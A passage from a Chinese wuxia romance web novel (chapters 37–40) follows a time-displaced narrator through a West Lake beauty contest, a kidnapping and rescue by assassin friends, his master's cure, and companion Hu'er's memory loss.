“怎么可以,怎么可以,怎么”天如意一边说着一边打开门走了出来,神情恍恍惚惚的,像是着了魔。 月光下,在她离去的地方,我看到了冷岩,一定是他们的吵闹,引起了冷岩的察觉。此时在门口的我也暴露在了瑚儿面前,瑚儿坐在床头,依然穿着外衣,她命令冷岩退下。然后非常轻想我招招手,唤我过去。 我们一起坐在床上,我的手里还拿着两只糖老虎,此刻觉得特别的多余。让我不知该如何是好,又该和她说什么话。 沉默了一会,瑚儿像是突然回过神,看到我手中的糖老虎,笑了,虽然看起来很疲倦,但是还是那样颠倒众生的美丽着。 “谦月大哥,嫂子睡了吗?”瑚儿突然问道。 “恩,睡了”我赶忙回答,然后试着跟上他的节奏。 “我好几天没听故事了,睡不着。能讲讲你和嫂子的故事吗?感觉你们经历了好多呢!” “是呀,但是太长了,我今后慢慢的讲给你听,现在快休息吧”我劝他,因为这小家伙看起来很累了。 “怎么去喜欢呢,接受也好,付出也好。到底该是怎么做才对呢?”瑚儿似乎在问,但更好像是自言自语。 “其实,我也不太知道”我用手指搔搔脸。 “如果我是女子的话,会得到别人的真心之爱吗?”瑚儿突然拉下自己的发带。青丝黛瀑,她的白皙的脸此刻有了些许的绯红,月光是最美的渲染。让人连坐在她的身旁都如坐针毡,这是何等的尤物。“谦月,你会喜欢我吗?”这是从月宫传来声音吗,那般空灵,那般的诱惑着人。 这是梦境吗,耳边渐渐有了炽热的气息。瑚儿的丹唇正轻轻的吻向我的侧脸。月光该是清冷的吧,但此刻却灼烧着我们。。。。。。 37、凤凰缭乱 “芊寻睡了,我该回去了。”我像是刚刚从水中逃脱的人一般,一口说完了话。然后大口的开始呼吸空气。 其实,即使我没有说话,瑚儿也没有吻我。她只是吹了口气,然后顽皮的笑了笑“逗你的,快去看嫂子吧” 我起身离开,感觉一点力气也没有了。走到门口的时候,我觉得这样走太唐突了。所以回头笑着对瑚儿说,“对了,我是来告诉你,芊寻带来了师傅的消息,我很快就可以找到他了。”可是,回头的一瞬间,我看到了她眼睛里那隐约闪着什么。 “太好了,曹大哥,那你就有救了,”她绽开了笑颜,几乎是一下子就跳到我面前,“因此,你就要早点休息,去,陪嫂子去吧.!”说着她把我转向了门口,笑着将我推了出去,关上了房门。在门口的我,还有些发呆,想想她刚刚的神情举止。正欲离开,就听到了一声轻轻的撞门声,好像是一个人靠在上面,一个突然失去了力气的人,此刻的门就是她的依靠。 我不该多想什么,该回去了。可是瑚儿的声音再次响起,“既然你没事了,我的任务也就完成了,”舒缓的语气,却让我更加着急的等着下文。我猜得到她下面想说的,但是我还渴望再听到不同的话。 “从明天起,我们就不必结伴同行了” 从此便再也没有了声音。。。。。。 几个月的朝夕相伴,也许不会产生什么深厚的感情,但是,此刻的我们却有些依依不舍。她失落的神情,就好像是丢掉了一个玩具,不一定是她心爱的,但却是陪伴了她数月的,身边唯一的。我常常想这孩子是不是分不清依赖和喜欢呢。以后她有了新的朋友就自然忘了我。这是我们最初分别的夜晚。 而我曹谦月必须继续向前走。。。。。。 回到房中,桌上放着温在火炉上的药,还冒着微微的烟霞。芊寻依着窗睡着了,的确,从京城赶来,着实累坏她了。关上窗,我让芊寻轻躺到床上。吃完药,我就回到了芊寻的身边睡下。。。。。。 次日,我和芊寻还没用完早点,小二就进来捎话,瑚儿她们刚刚离开了。但是天如意却消失的更早。罢了好聚好散,还是回到了最初的时候,只有我和芊寻。 到了杭州才算真真正正的见识了古代的江南,那种繁华,是现代人没有眼福可见的,这让我很庆幸。没想到师傅他老人家这样会享受生活,居然游仙游到这里来了,倒是为我找他又一次增加了难度。 坐了大半天的船,也没能打听到青山的丝毫线索。正午的阳光晒得我头晕目眩,赶快带着芊寻上岸找了家酒楼坐下来。在拭去我的汗后,芊寻才用手帕给自己擦,曾经习以为常的事,让我又有些脸红了。突然想起天如意的话,总是被她这样宠着,我倒是有些尴尬了。原来我已过了三个月照顾别人的日子,身边少了悉心关怀着我的雪芊寻。我还是需要适应回去的! 很快就过来了一位小二哥来给我们上茶,刚喝了一口茶就被我喷了出来。大白天的怎么会有关二爷来给我敬茶,这位小二哥的脸已然是两片红肿,不偏不倚。 “客官莫慌,小的只是刚刚撞到柱子上了”小儿忙解释道,一边还小心翼翼的摸了自己的脸,“其实这也不是小的的错,都怪那两位神仙” 我听着有趣,便追问下去了。 原来刚刚来了一行人,其中一位女子艳惊四座,在服侍过程中,小二为了多看她几眼,一时走神竟然撞在了大堂的柱子上。刚刚爬起来,服侍走了她们。得又撞上了!为什么呢,又来了一位,“小的是不会形容,人都说美若天仙,可是从没有人见过天仙是什么样的。今天我定是祖上积德了,竟然同时见到了两位。” “是呀,我也看到了,都不敢相信自己的眼睛” 邻座的各位开始热闹的议论起来,其实我们进来时就已谈论多时了。只是听了半天越听越迷糊,版本太多了,却无法让人想出个大概模样。这倒也是,如果评价一个人丑,那是可以引经据典的,什么满脸横肉,贼眉鼠眼、夜叉像等等。偏偏美是最难形容的。爱美之心人皆有之,就好像从刚刚开始小二的目光不知不觉就完全转向了芊寻。哎!男人是改不了的!我赶快打发了小二去上菜,免得他在口无遮拦。 这时邻桌转移了话题,气氛越发活跃。原来呀,今晚是每年一次的西湖盛会。届时会选出一位才貌双全的佳人,作为西湖仙子。以前都是只有青楼女子才去的,这样可以提高自己的排位。可是如今不同了,前两年杭州城最近来了个大商人,一来就大力发展房地产业和服务行业,如今已成垄断之势。在他的主持下今年的规则变了,只有平民的良家女子才可以参加。而且据说考核极其严格,但是如果你赢了就可以得到三十万贯的财富。(这可是相当于给当朝太师的生辰纲呀!)所以今年报名的女子非常的多。 听着听着,我也开始好奇起来,不知古人的选美是不是和选超女一样呢!但是看着芊寻毫不在意的表情,我还是选择闷头吃饭。一会儿继续找师傅吧! 路过西湖,已有几只巨大的花船停泊湖中。周围已有人开始在地上铺起了席子,准备好了酒菜,等待夜晚的饕餮盛宴。我正在看着湖中,芊寻却有些生气的拿我打趣,“不如咱们留下看看呀!”如果是瑚儿,我还是相信她会说如此没心没肺的话,但是芊寻说了就是我们不能再耽搁了。我瞬间把头摇得像个拨浪鼓似的。“不了”我赶快拉着芊寻,一边赶路一边说“找师傅是正事”。 看来我是越来越不务正业了。 不知又爬了多少座山,我终于找到了师傅栖身的深山古屋。如果没有地图指引恐怕是绕不进来的。只见此处苍松挺郁,仙气(山雾)缭绕,看起来是个世外高人住的。走过一条蜿蜒的小山路,我看到了山腰上有一座小茅屋。我终于可以活下去了,我激动的想推开门,但是芊寻却拉住了我,虽然她看起来比我更加激动。 “布袋大师,弟子曹谦月求见”芊寻代替我一边对着屋里说一边作揖。但是没有回应,重复了几遍都是如此。无奈我们推门而入,只见桌上有张纸条,上面赫然写着:爱徒谦月,为师前去参看西湖会,会上相见,届时再商汝伤之事。师布袋书。 这个老顽童,应该是我的命比较重要吧!我都没去,您老倒是去凑什么热闹呀!哎!原路返回吧! 回到西湖已经是晚上,选美盛会正在进行。花船此刻开到了西湖岸边,天空中还时不时的有烟花。人声嘈杂和拥挤使人难辨方向,芊寻拉着我穿行其中,竭力需找着一个和尚的踪影。 突然,烟火达到了鼎盛之势,岸边的观众也沸腾了。我们不禁停下了搜寻的脚步,顺着人群的呼喊向船上望去,只见身着一红一白的两位女子,飘然而出,一个吹笛一个抚琴,悠扬的旋律被晚风牵引萦绕在每一个人的心头。 烟花已冷,可是烟雾散落于湖水之上,她们如在云雾中一般。青黛随风飘摇,衣袂也如同懂得音韵一样在轻舞。使人感慨梦里不知身是客,一响贪欢。 透过沸腾的人群我试图确认我激动的根源。当我注意到台上的白衣人正是赵瑚儿时,我突然和这些男人一样,为她而痴狂。此刻的她微闭着双目,自在的拨动着琴弦和人们的心弦。完全看不到她昔日的顽皮,她有的只是源于山水间的灵与秀。 “仙人,是那两位仙人”呼喊正是中午的小二。难道世间真有可以匹敌的两人吗? 我不禁转目望向那个红衣女子,她,眉如翠羽,双瞳如燕儿剪过的春水般,灵动妩媚,脉脉含情。轻启丹唇浅吻着玉笛,嘴角淡淡的梨涡若影若现。身上的红衣更衬出了她的冰肌玉骨,神情清冷,仿佛是由天神精心雕刻而出,唯有那纤弱的柔荑不断起伏变化,才能让人觉得她确是在凡尘之中。她吹奏了足以是刺透人心灵的乐曲,平分了瑚儿独霸的时空,夺走天地间的冷艳与孤傲。 她和瑚儿不同,完全不同。她们如同玉璧的两面各自完美着。 “凤凰缭乱,末世轻狂,天劫聚际,祸福难断”,耳边突然传来了这句不合时宜的谶语,使原本还沉浸在仙境中的我不禁打了寒颤,随后一只温暖的手按在我的背上。 38、夺夺夺! “月儿,为师现在为你疗伤”耳边传来这句温柔的话语的同时,按在我背后的手也传来了一阵阵热流,不断往我的心口涌,好像要融化了我的心一样,一时间使我汗水不住的流。 突然我的胸口好像被冲破了一般,呼吸顺畅了,再也没有郁结。 但是,此时的我已经耗尽了体力,当师傅的手离开我的背时,我就只有摊坐在地上了。芊寻忙抱着我,让我倚在她怀里,我竟然连眼睛都无力睁开。只听师傅俯下身来对我说,“月儿,我刚刚化解了你的照门,从此以后你无性命之忧,”我正在庆幸自己可以生存下去这件事,师傅略有停顿的说道,“但是,你的一身武功也废了,而且你的身体不能再练成凝聚内力的照门,故而此生你与内功无缘了。” 也好,对我而言我根本不知道武功有何用,它只是我的催命符。如今没有了它,大不了做个普通人。 稍事休息,芊寻为我诊脉,“好,好”我感觉到她的开心,“月儿,你没事了” 我是不是从此以后可以好好和她过日子了呢?没有理由在弃她离去了,一个不遗余力爱着“我”的人,看到她,我就想到她和谦月的一幕幕。也许,芊寻,我该爱你的。这句话,是我当时由衷的感慨,也是困扰我许久的难题。 “好,红衣仙子” “白衣的才好” 突然,岸上的百姓开始喧闹起来,大声的争执打断了我的思绪,原来,瑚儿和红衣女子不相伯仲,大家为了她们而争执不休,看来她们瞬间就俘虏了大批粉丝。 在芊寻的搀扶下,我终于又站了起来,看着船上的两个女子。虽是再见却依然会感到惊艳。 “凤凰缭乱,”我脑海中正映像着这句师傅刚刚说的话。“师傅刚刚说的话是什么意思” 这时,我才清楚的看到我的救命恩人—谦月的恩师。一个面容温和的中年人,和娘一样不过三十几岁。看他的举首投足之间逍遥脱俗,如不是剃了度的话定是个风流才子。但是细细的察觉他身上却又出家人没有的一种感觉,总之,师傅是个让人一看就喜欢的长辈。 “那是天命,与你们都有关的天命,也是关系天下的预言,不过我也难以看透。”师傅走到我跟前,话锋一转“月儿,能不能让芊寻和我走一趟,我有事请她帮忙。”这样突然的请求,我该怎么拒绝呢。 芊寻握住了我的手,“芊寻愿同师傅前往,”接着转向了我,“月儿,你没事了,我们就有很多时间,如今我还是听师傅吩咐”随即师傅带着芊寻离开了,我们都没有更多的话,因为相聚的突然,离别的也唐突。 “师傅,你们要去哪里?”我终于忍不住问,望着芊寻清瘦的背影,我舍不得。 “不必相问,不久我们就会再见,自有人带你来见我们”师傅和芊寻的身影与声音一同消散在人群之中。 “着火了,”“是呀,快逃”人群突然再一次拥挤喧闹起来。何时起,周围已经是一片火海,是烟花引起的吗?不对,为何又有骑马蒙面的大汉从外面冲进来。所有人都抱头鼠窜,拥挤不堪。 这时我注意到,这些大汉用铁钩勾着穿将它拉近岸上,然后纵马跳了上去。 不好,我心中暗叫,赶快往船的方向跑,可是人群冲的我寸步难行。 船上的人大多被自愿的他打落水中或自愿的跳水逃走,唯有三人。刚刚上去颁奖的身穿紫衣的大老板,因为瑚儿和红衣女子各有千秋,他决定亲自考考她们。而且他手里拿着一打纸,应该是当时的钱引,也就是奖金十万贯。 “啊”震惊的一幕出现了,那个红衣女子一脚踢飞了,跃到船上的贼人。接下来的一幕更加颠覆了我的世界观。她顺势抢走了老板手中的钱引,骑着刚刚落水的蒙面人的马跳回岸上离去了。 “我们还没有分胜负,你耍赖,喂”瑚儿在船上向她喊着,气氛的很。 “哈哈哈,想要的东西,夺过来最稳妥。得到,才是我比试最终的目的,”红衣女子勒住了马,回头笑说“你现在自身难保,还配说什么输赢,我赢了,你能逃过此劫,日后,才有资格和我再争斗下去,哈哈哈哈哈”就这样,她一边笑着,蔑视一切,打退了阻止她的大汉s,策马冲出火海。 没有了她,很快又有新的一批蒙面人跳到了船上,把瑚儿拉到马上,随后一个口哨声响起,他们就迅速的撤退了。 我必须得追,见到一匹马我就跨上去狂奔。我们从城镇跑到了郊外,穿过树林,来到一座山上。我和挟持瑚儿的人只有不足十米的距离了,谁知他突然停了,转向了我,瑚儿见到我就停止了反抗,“曹大哥,你”随即“你快走,不要管我”听到后面的马蹄声,我就知道自己被包围了,我真是冲动、没策略。 如果不是瑚儿以死相要挟,我铁定会被弃尸荒野。我们被关在一座山神庙里,门外有多人把守。觉得逃跑无望的我们,只能选择随遇而安,席地而坐在甘草上。瑚儿赶快问我“你的伤好了吗?”得到了肯定的答案。为了缓解不安,我给她讲了我们分开后的一些经历,包括师傅的事。可是这小家伙也许是累了,我也累了,渐渐地我们便靠在一起不知不觉的睡着了。 再次睁开眼,是被外面震天的喊杀声惊醒。瑚儿被一个人拉起,我一看是天如意。她没有说话,而是带着我们向外冲。到了门口,我才看到那群蒙面人正和一个黑衣人周旋。黑衣人很熟悉,我努力回忆,正是谦月当年闯到江湖时对她多番相助的神秘人。看到瑚儿被带走,蒙面人大喊“快,不能让她跑了,不然怎么交代”。虽然有黑衣人的帮助,但是蒙面人太多了,天如意本来只有轻功超群,根本无法带着我们两个普通人全身而退。见此情景我才知道,我不过是一个弱女子。我告诉天如意,“带瑚儿走,他们的目标是瑚儿,不会会为难我的”天如意点点头,拉着瑚儿正欲以轻功离开。 前方突然又有一批人挡住了我们的去路,看来我们是在劫难逃了。可是出乎意料的事,他们很利落的解决了所有蒙面人。但是看他们统一的服装,却又心狠手辣,一时难辨敌友。再看黑衣人也不知所踪。眼看着他们向我们围拢过来。天如意动手了,可是竟然被一招制住,点穴不能再动了。我们只有束手就擒。 被蒙上眼睛的我们,在他们的带领下走了一个小时的路,最后在一座监牢中停留。瑚儿和天如意在我隔壁的房间。 还没等我们说话,外面的大铁门就开了。门外进来一个身穿蓝色斗篷遮着脸的人,他看起来很瘦弱,但是配上监牢里幽暗的气氛,现在的画面只能用恐怖形容。 “果然,国色天香呀”比打扮更加诡异的声音响起,似幽幽呜咽,“他又是你的什么人呢”不知怎的他的目光突然转向了我。 “他是我的丈夫,你们不要伤害他,”瑚儿忙说“你们如果求财,我的家人会满足你们的” “求财?哼哼,老子要财色双收才好。”蓝衣人,说着对我一挥手,我就感觉头疼欲裂,直接倒在地上。他却笑着“想让他们无事,就来陪我吧。”怪人摘下了帽子,露出了一张极其丑陋且诡异的脸,衰老甚至有被灼烧过的痕迹。 “宋帅不要,”天如意跑过去拉住瑚儿却推开了她对怪人吼“你干什么,你对他做了什么。你要我怎么做,好,我都听你的” “我知道你早晚会答应,只是需要点时间。哼哼哼哼”蓝衣人命手下人打开了瑚儿的牢门。瑚儿奔到我面前,抚着我的脸,检查我的伤,“曹大哥,你” “他中了我的毒针,不到两个时辰就会化成血水,现在灭心散正玩着他呢?你还是快点和我走吧,如果让我高兴的话,说不定,来得及救他哟!”蓝衣人的话如同钉子打在我心里。可是此时的我,什么力量都没有,天如意又被人打晕,谁能救我,谁能救瑚儿? 感觉变得模糊起来,瑚儿的手没有了往日的温暖。隐约听到她的话,却无法在头脑中反映出来。我呢喃着,不要去。但是瑚儿还是把手从我的手中抽离。指尖划过我的掌心,我感到了锥心的疼痛。 掌心的伤疤应该已经好了很久了,为什么像被撕裂一样隐隐作痛。是我和谦月的心在疼,这道疤是芊寻被大哥玷污的那晚,谦月为了阻止芊寻自尽,用手挡住了芊寻刺向咽喉的银簪,银簪给了谦月一道贯穿掌心的伤痕。那是谦月一生的愧疚,她毁了芊寻一辈子的幸福。 不,我不能让瑚儿被侮辱,不能在发生一次,我不要和谦月一样后悔一辈子,我可以死,为了你们我可以。 我挣扎像爬起来,但是头完全失去了对手脚的支配能力,头被撞破了,血流了下来,溅在牢门的铁钉上,发出呲雌的响声。难道这就是灭心散的力量,我的血可以融化一切,最后溶解自己嘛?好的,拼了,大不了一死,死了的话,也许瑚儿就不会妥协。 血,我要流更多的血。用砖片割破了手腕,我把血涂在铁钉上,木牢门散架了,铁锁也拦不住我了。通过阴暗的走廊,跌跌撞撞的我终于来到了院中,没有人敢拦我,因为他们也许知道,如果沾到我的“灭心散”的毒血的下场。 我不知该往哪里走,血流失离开我的身体,力气也丧失了。还是要倒下的吧,可是却有个人抱住了我,她急切的呼喊着我,“祖宗,你这要干什么。想让奴家如何是好”迷离中我看到了那张诡异的脸,但声音却变成了满是关心的女声。“叶月,我是澈儿呀!” 39、楼外楼 澈儿?曹谦月,该不会又是你欠下的什么情债吧!这样想着的我失去了所有的意识。 再次醒来,我发现自己躺在柔软舒适的床上。床边坐着的是一个年轻的女子,她的手正抚着我的额头,见我醒来,她舒心的笑了。她穿着的正是那件蓝衣。怪人? “你,”我挣扎着想坐起来却被她轻轻的按到了。 “你不必担心,她在沐浴呢?”她果断的回答。想到了瑚儿,我根本躺不住,回想起刚刚的情景,他们对瑚儿。。。 “哈哈哈,澈儿,和兄弟聊什么呢?”门突然开了,走进来一个器宇不凡的男人,年龄略长我些。“叶月呀,你也怪不得你嫂子生你气。我们成亲你都没来。可知我们是等你到半夜才拜堂的。” 哦,他们莫不是谦月当年闯荡江湖的好哥们,认识芊寻之前正是为了参加他们的婚礼。那么这里就是,七星,流传于武林中千百年的暗杀组织。我在谦月给我看的回忆里知道有这件事,可是人我却不得相见。 “我可没这么小气,我气的是,他不知没有来,反而从此了无音信了一整年。我不管,一会儿定要罚他一坛酒,才好”那女子笑着说,但是眼里却荧光闪闪。 大概了解了情况,我赶快起来和他们见礼,毕竟是义兄。“该不会是因为这些而劳师动众的绑架我们来吧”我问。得到的是过后解释,因为这时一个小丫鬟跑了进来禀报了澈儿一些事。澈儿听了笑笑,拉起我的手边走。“看看你的小情人去,她还打算救你呢”你们没和她们解释打算干嘛?一脸疑惑的我跟着她,进了一个房间。哇,古代就有这种技术了。单向透明玻璃?因为我看到了瑚儿在另一个房间里,呆呆的看着我这边,却好似看不见我。 “你们认识多久了,这么美的人儿,肯为你付出一个女人最珍贵的东西,”澈儿望着瑚儿,“她真是你的妻子吗?” “不,她是我的朋友,像咱们之间这样的。”我回答“她是讲义气,换做我们也会这样的”我看着她笑笑,“也许吧”她轻轻的说。虽然我们才见了不足一个小时,但是觉得她是豪爽的人。 而隔壁的房间里,那个穿着蓝衣的怪人再次出现,他一步步的接近瑚儿,我大叫着“瑚儿,怎么又来个蓝衣人”但是没有回应。那个人,用手指抬起了瑚儿的脸。不知他说着什么,瑚儿点了点头,但是泪水留在了下来。蓝衣人低头欲吻她,“你们干什么”我吼着向外冲,踢开门推开蓝衣人。然后,我抱过了瑚儿,这孩子在发抖,明明很害怕,但为了我她还是。。。。。。 “叶公子,孔雀退下了”蓝衣人向我们作了一揖便离开,还是是女声。“你没事了吗,谦月,大哥。。。。。。”瑚儿将头完全埋在我的胸前,失声痛哭。 半响,瑚儿止住了眼泪,问我怎么回事,我的毒解了吗?我一时不知怎么说,因为刚刚出了怪事,澈儿本来是向我打了旋风散,头疼是会有些的,可到了我的体内,怎么就会将我的血变得可以腐蚀金属得溶液了呢?大哥也不解。既然不是毒自然不用解了。可是关于我们为何在这里,还有蓝衣人,我也不知怎么说。 “叶月,你们鹣鲽情深,真是羡煞旁人呀”是义兄义嫂。澈儿在我们面前一挥手,就变回了那张畸形的脸,见我们屏住呼吸,又是一侧脸,变回了她本来的样子。哦,易容!瑚儿看得比我还认真呢! 终于雨过天晴了,平安无事喽。晚上,义兄楚晨为我们大摆筵席。天如意也列席其中,除了她绷着个脸外,大家都很开心。得空我问瑚儿一连串问题,她因何参加了“西湖小姐”的选拔,那个红衣女子是谁,还有为何冷岩冷语没有保护她? 原来,那日她见芊寻来了,自己留在我身边也没有意义,第二天趁早就离开了,继续自己周游天下的旅程,谁知道了西湖,遇见这么个比赛,看奖金颇多,参加的人也是各有千秋,索性恢复了女装打算夺魁后散财予百姓。琴棋书画对她来说本是手到擒来的,哪想到半路杀出个程咬金。一个身穿异服的女子前来和她争夺,正是我见过的那个“抢劫女”,细问瑚儿原来她叫金英。但这也是她唯一能被了解的。 “开始我以为她只是个凑凑热闹的外族女子,”瑚儿越说越兴奋,“没想到,她对中原文化的了解还真是不少,如果不是我自幼被爹爹逼着练读书写字,弹琴作画,我怕是会输给她了。” 我一边听,一边想,她还是个武功高强的奇女子呀! 至于冷岩冷语,听天如意说似乎被什么人下药囚禁了。 “叶月,你们刚刚说什么芊寻”澈儿突然拉过我问“你到底娶了几个老婆” “额”我汗,这些完美之物都不是属于我的。 “芊寻是我大嫂,”瑚儿抢着说,“她对谦月大哥很好。他们和幸福” “哦,谦月?叶月,你还有多少事瞒着我们呀?”澈儿瞪起了杏仁圆眼。 “哈哈哈,今晚是为我的兄弟接风洗尘,还有一件喜事宣布,我的妻子,澈儿已经怀有身孕,我要当父亲了”楚晨站起来敬酒,台下恭贺声一片。楚晨走到我面前,“贤弟,我知道你神龙见首不见尾,不强求你回来喝满月酒了,等会儿,我们多聊会儿。未来你侄子、侄女的名字就由你来起。哈哈哈哈” 是夜,大家尽兴而归,我们也确是来到了后花园里继续谈天。四个人,大哥大嫂,我和瑚儿。我和大哥说了很多,而瑚儿则缠着大嫂在一边说些什么,看她们有说有笑的,渐渐地,我们便静静的看着她们,只是静静的看着她们。 澈儿不知何时从哪里变出了几张人皮面具递与瑚儿,瑚儿开心的抓过来戴在脸上,哦,一张比一张臭。这很电影里的可不同,我以为易容这东西都是为了美化的呢? “记得我们第一次见面,我就为她呆住了。”楚晨,痴痴的看着澈儿。“当年,没有你帮忙,也许我永远也娶不到她。现在,我淡出了江湖的恩怨,只想守着她,让她幸福的过这一辈子” 月光下,我看着这个好男人,觉得他可贵。而我呢?在这个世界里,能对谁做出承诺呢? “但是,如果有人伤害了你,我就不能不管了。”话锋一转,但他的神情却没有丝毫变化,“那个老板,买通了悍匪,绑架弟妹,你是想灭他一门还是。。” “什么呀,”我打断着恐怖的问题,转念一想,的确我们会在这里,不单单是因为大哥他们要逗逗我,他们救了我们,那起初的那些人的目的是什么呢? 原来那个老板原本就不是为了什么选美,而是为了强抢美女,然后把她献给当朝贵胄好打通官道。因为真正的佳丽是钱买不到的,人家身家清白,唯有抢了。 “岂有此理”我和瑚儿一口同声的说。 “那就抢了他的身家,分给百姓吧”澈儿走过来说,“我和弟妹聊得投机,知道她是爽快之人,必会愿意” “甚好”瑚儿笑着同意,“但是给他留一家酒楼吧,也不至于赶尽杀绝,这样日后他也有行善补过的本钱呀”瑚儿眼睛转转,命人取来纸笔,思索起来“我亲自送他个名字,也算是咱们日后好相见”。 “叫“楼外楼”好了,”我笑着说,“告诉他永远别想只手遮天,自有人看着他呢?” “好好,”澈儿和楚晨也跟着叫好。“我就说你会起名吧?快给我儿子取一个”澈儿不依不饶。 哎,此时我觉得自己古文知识太少了,叫苦无门“楚还心,怎么样”我试探着问,想到了还心草,想到了芊寻、谦月。 “不行,那是我家先祖”楚晨忙制止,“哪怕你赐个贱名呢!我们也好养活了” “楚沐风”我咬牙说“希望他一生都如沐春风,春风得意”我实在想不出了。 “好了”瑚儿收笔,交给我们两张纸,“楼外楼”、“楚沐风”字迹清秀却霸气。 “行,我们认了,但是”澈儿拉过瑚儿“你们可得快点给我生个儿媳妇,弟妹这么漂亮,将来我家小子有福气了。” “不是不是”瑚儿忙上前辩解,却被我拦住,我堵住她的嘴。再多说就更露更多馅了,我怕澈儿杀了我。 初夏的夜,温暖舒心。我们几乎笑了一整夜。 但是也几乎一夜之间,西湖边发生了些事。曾经显赫一时的富商贾家被洗劫一空,钱财被尽数散给贫民。所有的店铺被烧得只剩灰烬,唯有一家酒楼只被拆了牌匾,却保留下来。据说贾老板收到了一封信,信里警告他日后多多行善,同时信里还附赠了一张书法题字。 从此,杭州就有了一座名为“楼外楼”的酒家。 大哥他们救回了冷岩冷语。想到这里是乌山,我想我该去看看芊寻的爷爷,还有那个住在山脚下的老伯。和大哥说了我的打算,他和澈儿都沉默了。呆着狐疑,我和瑚儿一行人绕到了阳面乌山去,天如意却不知何时不见了。但是并没有让我们在意,可是当我到了阳乌山后,我呆住了。怎么会,只是一片焦土,曾经“记忆”里的碧竹都不见了,这里比起阴乌山更加阴暗没有生机。我赶快跑到山脚下的村子里,找那个老家奴。可是赶到屋里的我,却看到了倒在血泊中的两位老人,一个身影从屋后掠过。瑚儿命冷岩去追。 “曹公子,小姐呢”孙成老伯还没有死,挣扎着叫我过去。“都死了,我.我因为在山下本来以为可以,可以逃过一劫。等小姐回来,但。。他们还是发现了” 我抱起老伯想问清楚,但是他的呼吸却越来越弱。冷语摇摇头,他拉着我说“保护小姐,远离,黄,黄家人。。。。。”说完老伯咽下了最后一口气,我合上了他难以瞑目的双眼。 此时冷岩回来了,他说没有追到任何人。 正当我们准备安葬老伯夫妇时,一个身影从天而降,落在地上不住的吐血,但是透过那被血侵染的脸,我们吃惊了。 “天如意”瑚儿赶忙上前扶着她。 这时,从门口走进来一个人,竟是楚晨。 40、失忆 “兄弟,你该提放身边的人了”楚晨看了看冷岩,然后转向我,“你们的保镖有意放走这个女人。” “什么”我看向冷岩,他只是看着天如意。突然他拔剑飞向楚晨,“所以你就杀了她吗?” “我只是想出手制服她,但是她毫不抵抗的迎接我一掌”,楚晨一边和冷岩纠缠,一边说“她是自己不想活下去” “为什么,你要杀他们,天如意”瑚儿抱着她问。 “我只是听令于人,我的命由不得自己,死对我而言是恩赐,”天如意竭力平复着呼吸“如果没有遇见你,我可能永远不会觉得活着是有意义的。我倾慕你一尘不染的心灵,可是越是接近你,我就越觉得自己污浊”。血又一次不住的从她嘴里涌出。冷语也过来为她诊治,冷岩住了手,他想过来抱住天如意,可是天如意却紧紧的拥着瑚儿。不由得丝毫的空隙。冷岩停在了那里,他只能远远地看着她们。我们也只能静静地看着这个将死的杀手最后的告白。 天如意望着屋顶轻轻的祈祷,“如果我天如意还能得到你一丝的怜悯,请你保佑我的宋帅,让她永远快乐平安的生活下去,所有的悲伤,都由我来为她带走吧,”天如意的手慢慢的敷上了瑚儿的头,“忘记我们也好,但希望你记得,从此以后,你要走遍天下,万事如意。。。。”说完这句话,瑚儿的手垂下来,瑚儿随即也晕倒在地上。 义兄将瑚儿冷语带回七星,而我们则留下,安葬这些亡者。冷岩将天如意抱起向外走,我们没有阻拦,因为我相信他不会背叛瑚儿,也许是在相识的日子里,他爱上了天如意这个活泼的女孩,为了她,他甚至有一刻放弃了忠诚,可这是人之常情,他和天如意一样,爱上了一个不该爱的人,没有回应的爱慕,那一场心伤,我们无法理解的悲伤,但是埋葬了她一切终将回到原来的,从他的目光里,我相信他做得到。 安葬了两位老人,我和澈儿一起赶路回去。“接下来,你打算怎么办?”澈儿问我。 “没什么打算,也许该回家了吧!”我突然感到很茫然,我不知该去哪里,在这个时代,我什么也没有。澈儿突然拉着我坐下,看她额头有一丝丝细汗,我担心她是动了胎气了。转眼她的脸上就好像涂了白霜一样,我赶快握着她的手,希望能带给她些温暖。良久,她终于舒了口气,气色也好了,“一会儿,别和你大哥说,他以后就不让我出来了,那我可就会闷死了。”好,我当然答应了。 站起来,我本打算扶她起来,可是,她却顺势让我抱她在怀里。“让我们像老朋友践行那样拥抱一次好吗?”她抢着说,但是这个拥抱在她说完这句话时就结束了,仿佛用尽了她一生的力气,离开我的怀抱,她就打了我一拳,“作为大嫂,我希望你赶快娶个贤妻,瑚儿不错呦,美丽大方,只有她配得上。你一定要比我还要幸福才好。”说这些话时,她又恢复了往日爽朗的笑容,可是泪水却不肯离开她那双爱笑的眼睛。她对谦月的感情只有这一刻的释放,却让她终生无怨无悔。 回到七星,瑚儿醒过来了,可是她的脸上竟然扬着开心,“这是哪里呀,冷岩冷语,咦,曹大哥,我们”她惊异的看着四周,“我们不是刚刚从京城出发,陪曹大哥找师傅吗?怎么到这里了” 失忆了!怎么会,我赶快过去摸摸瑚儿的头,没事呀! 难道是天如意,刚刚她的手摸着瑚儿的头,一定是她,死前做了什么。瑚儿不记得了,但是像她说的,忘了也好,虽然,我们相交的过往也被瑚儿忘记了。可是也许这样才是最好的,我和瑚儿那种朦朦胧胧的不舍之情也终于可以画上句号了。想到这里,我的心平静而惆怅。 瑚儿刚刚起床一些东西就从她的衣袖里掉出来,人皮面具。她对新鲜事物的喜欢倒是没有遗忘,赶快追着澈儿学易容去了。看着她们兴致依旧的玩闹着,“为什么都是丑的呀,”瑚儿一边比量着面具,一边问。 “因为,我们是女人呀!”澈儿回答,“女人的美貌天生就是恩赐,同时也是诅咒,人皮面具是保护自己用的,难道还要加重自己的不幸吗!所以,只有丑陋才可以保护你。” 她半是严肃半是微笑,似乎说着什么玄妙的真理,“当然了,没有女人愿意变丑,除非她心里有个能让她安心守候的人,他能给她信心、信念,让她发誓要保护好自己,才能守在他身边” 瑚儿听着点点头又摇摇头,看来是不能理解。但是她玩起来还真是不亦乐乎。 “咦这是什么,”瑚儿在一堆面具里发现了一张羊皮卷,上面写着,“赛马大会,我要去看看,在西夏王城。”原来是西夏举办赛马大会的邀请,澈儿不小心混在了送给瑚儿的面具里。 “曹大哥,听说你的伤也好了,不如我们一起去呀。”还是那么贪玩的孩子,我将自己打算启程回家的打算说了出来,却遭到了,所有人的反对,包括大哥和澈儿。真是添乱呀,其实他们是想撮合我和瑚儿,可是这也太。。。。 最后我被瑚儿再三的忽悠拐上了马。是时候和七星告别了,这回的送行很简单随意,大哥和澈儿自然地向我挥手。我们骑着马的向北走,渐行渐远,却听到,“记得我们的约定,将来带着儿媳妇给我们家沐风呀,” 